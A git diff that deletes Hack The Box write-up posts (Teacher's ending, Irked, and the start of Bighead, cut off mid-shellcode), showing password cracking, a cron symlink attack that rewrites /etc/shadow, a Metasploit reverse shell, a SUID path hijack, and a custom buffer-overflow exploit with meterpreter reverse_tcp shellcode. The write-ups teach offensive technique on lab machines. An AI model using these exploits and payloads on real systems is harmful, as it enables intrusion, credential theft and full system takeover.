-| 1337 | manual | 0 | 0 | 0 | 0 | 0 | Giovannibak | 7a860966115182402ed06375cf0a22af | | | | | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 0 | 0 | 0 | 0 | | | 0 | | NULL | 1 | 1 | 0 | 2 | 1 | 0 | 0 | 0 | 0 | NULL | NULL | NULL | NULL | NULL |
-+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+
-4 rows in set (0.00 sec)
-```
-
-The `Giovannibak` account hash the `7a860966115182402ed06375cf0a22af` MD5 hash, which is `expelled` if we look it up on [https://hashkiller.co.uk/md5-decrypter.aspx](https://hashkiller.co.uk/md5-decrypter.aspx).
-
-```
-www-data@teacher:/$ su -l giovanni
-Password: expelled
-
-giovanni@teacher:~$ cat user.txt
-cat user.txt
-fa9ae...
-```
-
-### Priv esc
-
-The `/home/giovanni/work` directory contains a bunch of files, but the `backup_courses.tar.gz` timestamp keep changing every minute so we can assume the file is being created by a cron job running as root:
-
-```
-giovanni@teacher:~/work$ ls -lR
-ls -lR
-.:
-total 8
-drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 04:58 courses
-drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 04:34 tmp
-
-./courses:
-total 4
-drwxr-xr-x 2 root root 4096 Jun 27 04:15 algebra
-
-./courses/algebra:
-total 4
--rw-r--r-- 1 giovanni giovanni 109 Jun 27 04:12 answersAlgebra
-
-./tmp:
-total 8
--rwxrwxrwx 1 root root 256 Dec 2 03:52 backup_courses.tar.gz
-drwxrwxrwx 3 root root 4096 Jun 27 04:58 courses
-
-./tmp/courses:
-total 4
-drwxrwxrwx 2 root root 4096 Jun 27 04:15 algebra
-
-./tmp/courses/algebra:
-total 4
--rwxrwxrwx 1 giovanni giovanni 109 Jun 27 04:12 answersAlgebra
-
-giovanni@teacher:~/work$ date
-Sun Dec 2 03:52:38 CET 2018
-```
-
-The backup script that runs as root is located in `/usr/bin/backup.sh`:
-```
-#!/bin/bash
-cd /home/giovanni/work;
-tar -czvf tmp/backup_courses.tar.gz courses/*;
-cd tmp;
-tar -xf backup_courses.tar.gz;
-chmod 777 * -R;
-```
-
-We can get the root flag by replacing the `courses` directory with a symlink to `/root`, waiting for the next archive to be created then untar it to retrieve the root flag:
-```
-giovanni@teacher:~/work$ mv courses test
-giovanni@teacher:~/work$ ln -s /root courses
-[ ... wait a minute ...]
-giovanni@teacher:~/work/tmp/courses$ cat root.txt
-cat root.txt
-4f3a8...
-```
-
-The cronjob changes the permissions to 777 when it extracts the backup archive. If we swap the `courses` directory in the `~/work/tmp` folder with a symlink to `/etc` it'll change the permissions of `/etc` and everything in it to 777:
-```
-giovanni@teacher:~/work/tmp$ rm -rf courses
-giovanni@teacher:~/work/tmp$ ln -s /etc courses
-
-giovanni@teacher:~/work/tmp$ ls -l / | grep etc
-ls -l / | grep etc
-drwxrwxrwx 85 root root 4096 Apr 18 21:55 etc
-```
-
-Now that we have complete read-write access to anything in `/etc` we can change the password of the root user to anything we want:
-```
-giovanni@teacher:/etc$ mkpasswd -m sha-512 yolo1234
-$6$jfdDr.oQ3xp6H/Em$iIPF1i31pZ/SeZe31/LDhruZFflDbmiFdsln.BA2w./lOtMUHMZYLOwsPAJaufSB4/Sn/gNIwZMWquEGR.sh1/
-```
-
-After editing the `/etc/shadow` file we can log in as root:
-```
-giovanni@teacher:/etc$ su -l root
-Password:
-root@teacher:~# id
-uid=0(root) gid=0(root) groups=0(root)
-```
diff --git a/_posts/2019-04-27-htb-writeup-irked.md b/_posts/2019-04-27-htb-writeup-irked.md
deleted file mode 100644
index 546f51eea1..0000000000
--- a/_posts/2019-04-27-htb-writeup-irked.md
+++ /dev/null
@@ -1,222 +0,0 @@
----
-layout: single
-title: Irked - Hack The Box
-excerpt: "Irked is an easy box running a backdoored UnrealIRC installation. I used a Metasploit module to get a shell then ran `steghide` to obtain the SSH credentials for the low privileged user then got root by exploiting a vulnerable SUID binary."
-date: 2019-04-27
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-irked/irked_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - ctf
- - stego
- - cve
- - metasploit
- - suid
----
-
-
-
-Irked is an easy box running a backdoored UnrealIRC installation. I used a Metasploit module to get a shell then ran `steghide` to obtain the SSH credentials for the low privileged user then got root by exploiting a vulnerable SUID binary.
-
-## Tools/Exploits/CVEs used
-
-- steghide
-- metasploit
-
-## Summary
-
-- UnrealIRCd MSF exploit for initial foothold
-- steghide encoded file containing password for user
-- SUID binary for priv esc
-
-### Nmap
-
-Aside from the typical Apache and OpenSSH services, I noticed that UnrealIRCd is installed.
-
-```
-# nmap -p- -sC -sV 10.10.10.117
-Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-17 14:02 EST
-Nmap scan report for 10.10.10.117
-Host is up (0.019s latency).
-Not shown: 65528 closed ports
-PORT STATE SERVICE VERSION
-22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
-| ssh-hostkey:
-| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
-| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
-| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
-|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
-80/tcp open http Apache httpd 2.4.10 ((Debian))
-|_http-server-header: Apache/2.4.10 (Debian)
-|_http-title: Site doesn't have a title (text/html).
-111/tcp open rpcbind 2-4 (RPC #100000)
-| rpcinfo:
-| program version port/proto service
-| 100000 2,3,4 111/tcp rpcbind
-| 100000 2,3,4 111/udp rpcbind
-| 100024 1 33436/udp status
-|_ 100024 1 50397/tcp status
-6697/tcp open irc UnrealIRCd
-8067/tcp open irc UnrealIRCd
-50397/tcp open status 1 (RPC #100024)
-65534/tcp open irc UnrealIRCd
-Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
-```
-
-### Webpage
-
-The main page just has a picture and a note about IRC.
-
-
-
-### UnrealIRCd exploitation
-
-The box is running UnrealIRCd and searchsploit shows there's an MSF exploit for it:
-```
-root@ragingunicorn:~/Downloads# searchsploit unrealirc
-UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)
-```
-
-Getting a shell with Metasploit is easy:
-```
-msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
-
-Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- RHOSTS 10.10.10.117 yes The target address range or CIDR identifier
- RPORT 8067 yes The target port (TCP)
-
-
-Payload options (cmd/unix/reverse):
-
- Name Current Setting Required Description
- ---- --------------- -------- -----------
- LHOST 10.10.14.23 yes The listen address (an interface may be specified)
- LPORT 4444 yes The listen port
-
-
-Exploit target:
-
- Id Name
- -- ----
- 0 Automatic Target
-
-msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
-
-[*] Started reverse TCP double handler on 10.10.14.23:4444
-[*] 10.10.10.117:8067 - Connected to 10.10.10.117:8067...
- :irked.htb NOTICE AUTH :*** Looking up your hostname...
-[*] 10.10.10.117:8067 - Sending backdoor command...
-[*] Accepted the first client connection...
-[*] Accepted the second client connection...
-[*] Command: echo O1zcz5ML2uK8OjPk;
-[*] Writing to socket A
-[*] Writing to socket B
-[*] Reading from sockets...
-[*] Reading from socket A
-[*] A: "O1zcz5ML2uK8OjPk\r\n"
-[*] Matching...
-[*] B is input...
-[*] Command shell session 1 opened (10.10.14.23:4444 -> 10.10.10.117:58328) at 2018-11-17 14:08:40 -0500
-```
-
-I have a shell as user `ircd`:
-```
-python -c 'import pty;pty.spawn("/bin/bash")'
-ircd@irked:~/Unreal3.2$ id
-id
-uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
-```
-
-The `djmardov` user home directroy has a `.backup` file that contains the password for some stego encoded file:
-```
-djmardov@irked:~/Documents$ ls -la
-ls -la
-total 16
-drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
-drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 04:40 ..
--rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
--rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
-djmardov@irked:~/Documents$ cat .backup
-cat .backup
-Super elite steg backup pw
-UPupDOWNdownLRlrBAbaSSss
-```
-
-Password: `UPupDOWNdownLRlrBAbaSSss`
-
-Since the note mentionned stego and this box is rated as easy, I guessed that it would be an off-the-shelf tool like `steghide` and not some custom obfuscation. The hidden file is found in the `irked.jpg` image from the main page and the steg doesn't use any passphrase.
-```
-root@ragingunicorn:~/Downloads# steghide extract -sf irked.jpg
-Enter passphrase:
-wrote extracted data to "pass.txt".
-root@ragingunicorn:~/Downloads#
-root@ragingunicorn:~/Downloads# cat pass.txt
-Kab6h+m+bbp2J:HG
-```
-
-djmardov's password is: `Kab6h+m+bbp2J:HG`
-
-I can SSH in and get the user flag:
-
-```console
-djmardov@irked:~/Documents$ cat user.txt
-cat user.txt
-4a66a7...
-```
-
-### Priv esc
-
-I found a suspicious SUID file: `/usr/bin/viewuser`
-
-```console
-djmardov@irked:~$ find / -perm /4000 2>/dev/null
-find / -perm /4000 2>/dev/null
-/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-/usr/lib/eject/dmcrypt-get-device
-/usr/lib/policykit-1/polkit-agent-helper-1
-/usr/lib/openssh/ssh-keysign
-/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
-/usr/sbin/exim4
-/usr/sbin/pppd
-/usr/bin/chsh
-/usr/bin/procmail
-/usr/bin/gpasswd
-/usr/bin/newgrp
-/usr/bin/at
-/usr/bin/pkexec
-/usr/bin/X
-/usr/bin/passwd
-/usr/bin/chfn
-/usr/bin/viewuser
-```
-
-When I execute the file, I see it runs `/tmp/listusers`
-
-```
-djmardov@irked:~$ /usr/bin/viewuser
-This application is being devleoped to set and test user permissions
-It is still being actively developed
-(unknown) :0 2018-11-17 13:54 (:0)
-djmardov pts/1 2018-11-17 14:19 (10.10.14.23)
-sh: 1: /tmp/listusers: not found
-```
-
-Since it's a running as root and I have write access to `tmp` I can just copy `/bin/sh` to `/tmp/listusers` and gain root
-
-```console
-djmardov@irked:~$ cp /bin/sh /tmp/listusers
-djmardov@irked:~$ /usr/bin/viewuser
-This application is being devleoped to set and test user permissions
-It is still being actively developed
-(unknown) :0 2018-11-17 13:54 (:0)
-djmardov pts/1 2018-11-17 14:19 (10.10.14.23)
-# cd /root
-# cat root.txt
-8d8e9e...
-```
\ No newline at end of file
diff --git a/_posts/2019-05-04-htb-writeup-bighead.md b/_posts/2019-05-04-htb-writeup-bighead.md
deleted file mode 100644
index 714a4bd4f0..0000000000
--- a/_posts/2019-05-04-htb-writeup-bighead.md
+++ /dev/null
@@ -1,1248 +0,0 @@
----
-layout: single
-title: Bighead - Hack The Box
-excerpt: "Bighead was an extremely difficult box by 3mrgnc3 that starts with website enumeration to find two sub-domains and determine there is a custom webserver software running behind an Nginx proxy. We then need to exploit a buffer overflow in the HEAD requests by creating a custom exploit. After getting a shell, there's some pivoting involved to access a limited SSH server, then an LFI to finally get a shell as SYSTEM. For the final stretch there is an NTFS alternate data stream with a Keepass file that contains the final flag."
-date: 2019-05-04
-classes: wide
-header:
- teaser: /assets/images/htb-writeup-bighead/bighead_logo.png
-categories:
- - hackthebox
- - infosec
-tags:
- - exploit development
- - egghunter
- - asm
- - nginx
- - php
- - keepass
- - lfi
- - ntfs ads
- - enumeration
- - insane
- - windows
----
-
-
-
-Bighead was an extremely difficult box by 3mrgnc3 that starts with website enumeration to find two sub-domains and determine there is a custom webserver software running behind an Nginx proxy. We then need to exploit a buffer overflow in the HEAD requests by creating a custom exploit. After getting a shell, there's some pivoting involved to access a limited SSH server, then an LFI to finally get a shell as SYSTEM. For the final stretch there is an NTFS alternate data stream with a Keepass file that contains the final flag.
-
-This box took the big part of my weekend when it came out but unfortunately I didn't keep detailed notes about everything. It was especially hard going back when doing this writeup and remember about the 418 status code and the registry key for the SSH password. Note to self: Always clean-up my notes after doing a box.
-
-The exploit part is especially tricky since there isn't a lot of buffer space to work with so I had to put my second stage payload in memory first with a POST request then use an egghunter for the first stage payload. There's also another way to exploit this software without using an egghunter: We can use the `LoadLibrary` function to remotely load a .dll from our machine over SMB. I'll try to cover both in this blog post.
-
-## Summary
-
-- Find the `code.bighead.htb` sub-domain after dirbusting the main website
-- Enumerate `code.bighead.htb`, find reference to `dev.bighead.htb` in one of the note file
-- Find the BigheadWebSvr 1.0 webserver running by checking the `coffee` directory
-- Search github and find that we can download the source code for the BigheadWebSvr webserver
-- Analyse the binary and determine that it is vulnerable to a buffer overflow in HEAD requests
-- Develop a working exploit locally on a 32 bits Windows 7 machine
-- Adapt the exploit so it works through the Nginx reverse proxy
-- Get a working reverse shell with the exploit and a metepreter payload
-- Find a local SSH service listening on port 2020 then set up port forwarding to reach it
-- Find the nginx SSH credentials by looking in the registry then log in to bvshell
-- Find an LFI vulnerability in the Testlink application then use it to get a shell as NT AUTHORITY\SYSTEM
-- Get the user.txt flag and find that the root.txt is accessible but contains a troll
-- Notice that Keepass is installed and that the configuration file contains a keyfile name and database file of root.txt
-- Find that there is an NTFS alternate data stream in the root.txt file that contains the hidden Keepass database file
-- Download the admin.png keyfile, extract the hidden stream, extract the hash from the database file and crack it with John The Ripper
-- Open the Keepass database file with the keyfile and password, then recover the root.txt hash from the database
-
-## Tools used
-
-- Immunity Debugger & x96dbg
-- Metasploit
-- keepass2john
-- John The Ripper
-
-### Portscan
-
-There's a single port open and Nginx is listening on it:
-
-```
-# nmap -sC -sV -p- 10.10.10.112
-Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-28 21:03 EDT
-Nmap scan report for bighead.htb (10.10.10.112)
-Host is up (0.0076s latency).
-Not shown: 65534 filtered ports
-PORT STATE SERVICE VERSION
-80/tcp open http nginx 1.14.0
-|_http-server-header: nginx/1.14.0
-|_http-title: PiperNet Comes
-```
-
-### Website enumeration: bighead.htb
-
-The main website is a company front page with a contact form at the bottom.
-
-
-
-I tried checking the contact form for any stored XSS but I couldn't find any.
-
-A quick scan with gobuster reveals interesting directories: `/backend` and `/updatecheck`
-
-```
-# gobuster -q -w /usr/share/wordlists/dirb/big.txt -t 50 -u http://bighead.htb
-/.htpasswd (Status: 403)
-/.htaccess (Status: 403)
-/Images (Status: 301)
-/assets (Status: 301)
-/backend (Status: 302)
-/images (Status: 301)
-/updatecheck (Status: 302)
-```
-
-`backend` simply redirects to `http://bighead.htb/BigHead` and returns a 404 error.
-
-
-
-However `/updatecheck` redirects to `http://code.bighead.htb/phpmyadmin/phpinfo.php`, so I'll add that sub-domain to the list of stuff to enumerate.
-
-
-
-After adding the sub-domain I can get to the page and it returns a `phpinfo()` output.
-
-
-
-I know the box is running `Windows Server 2008` and that it's 32 bits.
-
-### Website enumeration: code.bighead.htb
-
-If I try to browse `http://code.bighead.htb/` I'm redirected to `http://code.bighead.htb/testlink/` which has another javascript redirect script to `http://127.0.0.1:5080/testlink/`.
-
-Further enumeration with gobuster:
-```
-# gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -t 25 -u http://code.bighead.htb | grep -vi index
-2018/11/24 14:54:15 Starting gobuster
-
-/images (Status: 301)
-/img (Status: 301)
-/assets (Status: 301)
-/mail (Status: 301)
-/dev (Status: 301)
-/phpmyadmin (Status: 301)
-/webalizer (Status: 301)
-/dashboard (Status: 301)
-/xampp (Status: 301)
-/licenses (Status: 301)
-/server-status (Status: 200)
-/con (Status: 403)
-/aux (Status: 403)
-/error_log (Status: 403)
-/prn (Status: 403)
-/server-info (Status: 200)
-```
-
-A couple interesting directories like `phpmyadmin`, `dashboard` and `xampp` but the apps are broken by design and I can't do anything with them. I got some info about the server architecture from `http://code.bighead.htb/server-info?config` but that's about it:
-
-```
-Server Version: Apache/2.4.33 (Win32) OpenSSL/1.0.2o PHP/5.6.36
-Server Architecture: 32-bit
-```
-
-It's interesting to note that the initial nmap scan found Nginx running on port 80 but here I have Apache running. That means Nginx is probably acting as a reverse proxy or load-balancer in front of Apache.
-
-Next, I enumerated the `/testlink` directory I found earlier and got the following:
-
-```
-# gobuster -q -w /usr/share/wordlists/dirb/big.txt -t 50 -u http://code.bighead.htb/testlink -s 200
-/LICENSE (Status: 200)
-/ChangeLog (Status: 200)
-/Index (Status: 200)
-/changelog (Status: 200)
-/error (Status: 200)
-/index (Status: 200)
-/license (Status: 200)
-/linkto (Status: 200)
-/note (Status: 200)
-/plugin (Status: 200)
-[...]
-```
-
-The `note` file is very interesting as it contains a hint:
-
-```
-BIGHEAD! You F%*#ing R*#@*d!
-
-STAY IN YOUR OWN DEV SUB!!!...
-
-You have literally broken the code testing app and tools I spent all night building for Richard!
-
-I don't want to see you in my code again!
-
-Dinesh.
-```
-
-So Bighead broke the app and Dinesh is telling him to get his own **DEV** sub-domain, maybe I should check if `dev.bighead.htb` exists...
-
-So after adding this sub-domain to the local hostfile, I can access a new page:
-
-
-
-### Website enumeration: dev.bighead.htb
-
-Anything that has the word `blog` and `wp-content` in it hits an nginx rule and returns a false positive for anything that contains that. I didn't find anything when I ran gobuster but dirb found the `/coffee` directory because it looks for more status codes by default.
-
-```
-# dirb http://dev.bighead.htb
-
-GENERATED WORDS: 4612
-
----- Scanning URL: http://dev.bighead.htb/ ----
-+ http://dev.bighead.htb/blog (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blog_ajax (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blog_inlinemod (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blog_report (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blog_search (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blog_usercp (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blogger (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/bloggers (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blogindex (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blogs (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/blogspot (CODE:302|SIZE:161)
-+ http://dev.bighead.htb/coffee (CODE:418|SIZE:46)
-+ http://dev.bighead.htb/wp-content (CODE:302|SIZE:161)
-```
-
-The `/coffee` directory contains a funny teapot 418 error message.
-
-
-
-I also see it's running a different webserver: `BigheadWebSvr 1.0`
-
-```
-# curl --head dev.bighead.htb/coffee
-HTTP/1.1 200 OK
-Date: Tue, 27 Nov 2018 02:20:48 GMT
-Content-Type: text/html
-Content-Length: 13456
-Connection: keep-alive
-Server: BigheadWebSvr 1.0
-```
-
-Google shows a github repository for that software: [https://github.com/3mrgnc3/BigheadWebSvr](https://github.com/3mrgnc3/BigheadWebSvr)
-
-
-
-I download `BHWS_Backup.zip` and saw that the zip file was encrypted. I can extract the hash and crack it with John:
-
-```
-# zip2john BHWS_Backup.zip > hash.txt
-BHWS_Backup.zip->BHWS_Backup/ is not encrypted!
-BHWS_Backup.zip->BHWS_Backup/conf/ is not encrypted!
-# cat hash.txt
-BHWS_Backup.zip:$zip2$*0*3*0*231ffea3729caa2f37a865b0dca373d7*d63f*49*61c6e7d2949fb22573c57dec460346954bba23dffb11f1204d4a6bc10e91b4559a6b984884fcb376ea1e2925b127b5f6721c4ef486c481738b94f08ac09df30c30d2ae3eb8032c586f*28c1b9eb8b0e1769b4d3*$/zip2$:::::BHWS_Backup.zip
-```
-
-```
-# john -w=/usr/share/wordlists/rockyou.txt --fork=4 hash.txt
-Using default input encoding: UTF-8
-Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 128/128 AVX 4x])
-Node numbers 1-4 of 4 (fork)
-Press 'q' or Ctrl-C to abort, almost any other key for status
-2 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s
-3 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s
-4 0g 0:00:00:00 DONE (2018-11-26 21:41) 0g/s 0p/s 0c/s 0C/s
-thepiedpiper89 (BHWS_Backup.zip)
-1 1g 0:00:00:00 DONE (2018-11-26 21:41) 100.0g/s 100.0p/s 100.0c/s 100.0C/s thepiedpiper89
-Waiting for 3 children to terminate
-Use the "--show" option to display all of the cracked passwords reliably
-Session completed
-```
-
-Password is : `thepiedpiper89`
-
-The archive contains the following files:
-
-```
--rw-r--r-- 1 root root 75 Jul 14 2018 BigheadWebSvr_exe_NOTICE.txt
-drwx------ 2 root root 4096 Jul 2 2018 conf
--rw-r--r-- 1 root root 1103 Jun 23 2018 fastcgi.conf
--rw-r--r-- 1 root root 1032 Jun 23 2018 fastcgi_params
--rw-r--r-- 1 root root 2946 Jun 23 2018 koi-utf
--rw-r--r-- 1 root root 2326 Jun 23 2018 koi-win
--rw-r--r-- 1 root root 5265 Jun 23 2018 mime.types
--rw-r--r-- 1 root root 4523 Jul 2 2018 nginx.conf
--rw-r--r-- 1 root root 653 Jun 23 2018 scgi_params
--rw-r--r-- 1 root root 681 Jun 23 2018 uwsgi_params
--rw-r--r-- 1 root root 3736 Jun 23 2018 win-utf
-```
-
-The .exe in the archive was replaced with a note instead:
-
-```
-# cat BigheadWebSvr_exe_NOTICE.txt
-I removed this vulnerable crapware from the archive
-
-love
-Gilfoyle... :D
-```
-
-The file history on Github shows an older copy of the zip file:
-
-
-
-I downloaded the file then tried to extract it but the password is not `thepiedpiper89`. I cracked the password again and found the older commit uses `bighead` as the archive password. After extracting the file I can see there is a `BigheadWebSvr.exe` binary in there instead of the note.
-
-```
-# ls -l
-total 132
--rw-r--r-- 1 root root 28540 Jul 2 16:33 bHeadSvr.dll
-drwx------ 2 root root 4096 Jul 2 19:56 BHWS_Backup
--rw-r--r-- 1 root root 51431 Jul 2 16:33 BigheadWebSvr.exe
-drwx------ 2 root root 4096 Jul 2 19:57 conf
--rw-r--r-- 1 root root 1103 Jun 23 11:50 fastcgi.conf
--rw-r--r-- 1 root root 1032 Jun 23 11:50 fastcgi_params
--rw-r--r-- 1 root root 2946 Jun 23 11:50 koi-utf
--rw-r--r-- 1 root root 2326 Jun 23 11:50 koi-win
--rw-r--r-- 1 root root 5265 Jun 23 11:50 mime.types
--rw-r--r-- 1 root root 4523 Jul 2 15:34 nginx.conf
--rw-r--r-- 1 root root 653 Jun 23 11:50 scgi_params
--rw-r--r-- 1 root root 681 Jun 23 11:50 uwsgi_params
--rw-r--r-- 1 root root 3736 Jun 23 11:50 win-utf
-```
-
-```
-# file BigheadWebSvr.exe
-BigheadWebSvr.exe: PE32 executable (console) Intel 80386, for MS Windows
-```
-
-There is also an nginx config file which shows the following interesting stuff:
-
-```
-location / {
- # Backend server to forward requests to/from
- proxy_pass http://127.0.0.1:8008;
- proxy_cache_convert_head off;
- proxy_cache_key $scheme$proxy_host$request_uri$request_method;
- proxy_http_version 1.1;
-
- # adds gzip
- gzip_static on;
- }
-
-location /coffee {
- # Backend server to forward requests to/from
- #rewrite /coffee /teapot/ redirect;
- #return 418;
- proxy_pass http://127.0.0.1:8008;
- proxy_cache_convert_head off;
- proxy_intercept_errors off;
- proxy_cache_key $scheme$proxy_host$request_uri$request_method;
- proxy_http_version 1.1;
- proxy_pass_header Server;
- # adds gzip
- gzip_static on;
- }
-```
-
-So, both requests to `/` and `/coffee` on dev.bighead.htb are served by that crap custom webserver but only `/coffee` reveals the server header because of the `proxy_pass_header Server` config file.
-
-### Exploit development (Method #1 using egghunter)
-
-After opening the .exe file in IDA Free, I saw that the binary was compiled with Mingw. From what I googled, none of the protections like DEP/NX are enabled by default when compiling with mingw so that should make exploitation easier.
-
-
-
-The main function sets up up the socket listener and creates a `ConnectionHandler` thread when it receives a connection:
-
-
-
-The `ConnectionHandler` has multiple branches for the different HTTP methods. The `HEAD` request calls the `Function4` function.
-
-
-
-
-
-The function uses an insecure `strcpy` to move data around so it's possible there is a buffer overflow.
-
-
-
-I used the open-source [x32/64dbg](https://x64dbg.com/) debugger to debug the software.
-
-I setup a breakpoint at the end of `Function4` just before it returns.
-
-
-
-First, I test with a small payload that should not crash the server just to see if it catches the breakpoint and what the memory layout looks like.
-
-`curl --head http://172.23.10.186:8008/AAAAAAAAAAAAAA`
-
-The program stops at the breakpoint and `EAX` contains the memory address where the HEAD request is located.
-
-
-
-The memory at `0x175FB28` contains part of the HEAD request.
-
-Next, I try sending 100 bytes and see if I can crash the program.
-
-`curl --head http://172.23.10.186:8008/$(python -c 'print "A"*100')`
-
-The program crashes, and I can see that the `EIP` register was overwritten by `AAAAAAAA` which is not a valid address here.
-
-
-
-Next I have to find the exact amount of data to push to overwrite EIP. After I few minutes I was able to find the exact offset:
-
-`curl --head http://172.23.10.186:8008/$(python -c 'print(("A"*72)+("B"*8))')`
-
-
-
-I used mona in Immunity Debugger to confirm that no protection are enabled on `BigheadWebSvr.exe`
-
-
-
-Now I need to redirect the execution of the program to the `EAX` register value since this is where my payload will be located. I will use mona to look for gadgets in the program that I can use to jump to. Specifically, I'm looking for the memory address of a `JMP EAX` instruction.
-
-
-
-I found a gadget at address `0x625012f2` in the bHeadSvr.dll. No protection is enabled on this DLL.
-
-To test, I'll replace `BBBBBBBB` from my payload with the memory address of the `JMP EAX`. Notice the address is in the reverse order to respect the endianess.
-
-`curl --head http://172.23.10.186:8008/$(python -c 'print(("A"*72)+("f2125062"))')`
-
-After the function returns, the `EIP` points to the `JMP EAX` instruction.
-
-
-
-Then it jumps to the memory address of `EAX`. We see here we only have 36 bytes of buffer space to work with.
-
-
-
-I'll align the stack first by pushing and popping the `EAX` value into `ESP`. To find the opcode for this I used `nasm_shell.rb` from Metasploit:
-
-```
-# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
-nasm > push eax
-00000000 50 push eax
-nasm > pop esp
-00000000 5C pop esp
-```
-
-Edit: In retrospect I don't this part was required for this exploit, the exploit should have worked anyways because it doesn't push/pop stuff off the stack.
-
-Since I don't have much buffer space to work with I'll use a 32 bytes egghunter. Basically the egghunter is a small shellcode that looks for a marker (the egg) in memory and jumps to it when it finds it. This is the first stage of the exploit, the 2nd stage will be the rest of the shellcode we want to execute and we'll need to place it in memory with another HTTP request. Mona can generate the code for the egghunter. By default it uses the string `w00t` for the egg.
-
-
-
-The first stage payload is:
-- Align stack
-- Egghunter shellcode
-- JMP EAX
-
-The second stage payload is:
-- w00tw00t (egg)
-- meterpreter payload
-
-The exploit tested locally on my Win7 VM is shown here:
-
-```python
-#!/usr/bin/python
-
-from pwn import *
-
-'''
-# msfvenom -p windows/meterpreter/reverse_tcp -b \x00\x0a\x0d -f python LHOST=172.23.10.39 LPORT=80
-[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
-[-] No arch selected, selecting arch: x86 from the payload
-Found 11 compatible encoders
-Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
-x86/shikata_ga_nai succeeded with size 368 (iteration=0)
-x86/shikata_ga_nai chosen with final size 368
-Payload size: 368 bytes
-Final size of python file: 1772 bytes
-'''
-
-egg = "\x77\x30\x30\x74" # w00t
-payload = egg + egg
-payload += "\xbf\x33\x30\xf9\x54\xdd\xc2\xd9\x74\x24\xf4\x5a\x29"
-payload += "\xc9\xb1\x56\x31\x7a\x13\x83\xea\xfc\x03\x7a\x3c\xd2"
-payload += "\x0c\xa8\xaa\x90\xef\x51\x2a\xf5\x66\xb4\x1b\x35\x1c"
-payload += "\xbc\x0b\x85\x56\x90\xa7\x6e\x3a\x01\x3c\x02\x93\x26"
-payload += "\xf5\xa9\xc5\x09\x06\x81\x36\x0b\x84\xd8\x6a\xeb\xb5"
-payload += "\x12\x7f\xea\xf2\x4f\x72\xbe\xab\x04\x21\x2f\xd8\x51"
-payload += "\xfa\xc4\x92\x74\x7a\x38\x62\x76\xab\xef\xf9\x21\x6b"
-payload += "\x11\x2e\x5a\x22\x09\x33\x67\xfc\xa2\x87\x13\xff\x62"
-payload += "\xd6\xdc\xac\x4a\xd7\x2e\xac\x8b\xdf\xd0\xdb\xe5\x1c"
-payload += "\x6c\xdc\x31\x5f\xaa\x69\xa2\xc7\x39\xc9\x0e\xf6\xee"
-payload += "\x8c\xc5\xf4\x5b\xda\x82\x18\x5d\x0f\xb9\x24\xd6\xae"
-payload += "\x6e\xad\xac\x94\xaa\xf6\x77\xb4\xeb\x52\xd9\xc9\xec"
-payload += "\x3d\x86\x6f\x66\xd3\xd3\x1d\x25\xbb\x10\x2c\xd6\x3b"
-payload += "\x3f\x27\xa5\x09\xe0\x93\x21\x21\x69\x3a\xb5\x30\x7d"
-payload += "\xbd\x69\xfa\xee\x43\x8a\xfa\x27\x80\xde\xaa\x5f\x21"
-payload += "\x5f\x21\xa0\xce\x8a\xdf\xaa\x58\x99\x08\xa1\xbf\x89"
-payload += "\x34\xb5\xbf\x19\xb1\x53\xef\xc9\x91\xcb\x50\xba\x51"
-payload += "\xbc\x38\xd0\x5e\xe3\x59\xdb\xb5\x8c\xf0\x34\x63\xe4"
-payload += "\x6c\xac\x2e\x7e\x0c\x31\xe5\xfa\x0e\xb9\x0f\xfa\xc1"
-payload += "\x4a\x7a\xe8\x36\x2d\x84\xf0\xc6\xd8\x84\x9a\xc2\x4a"
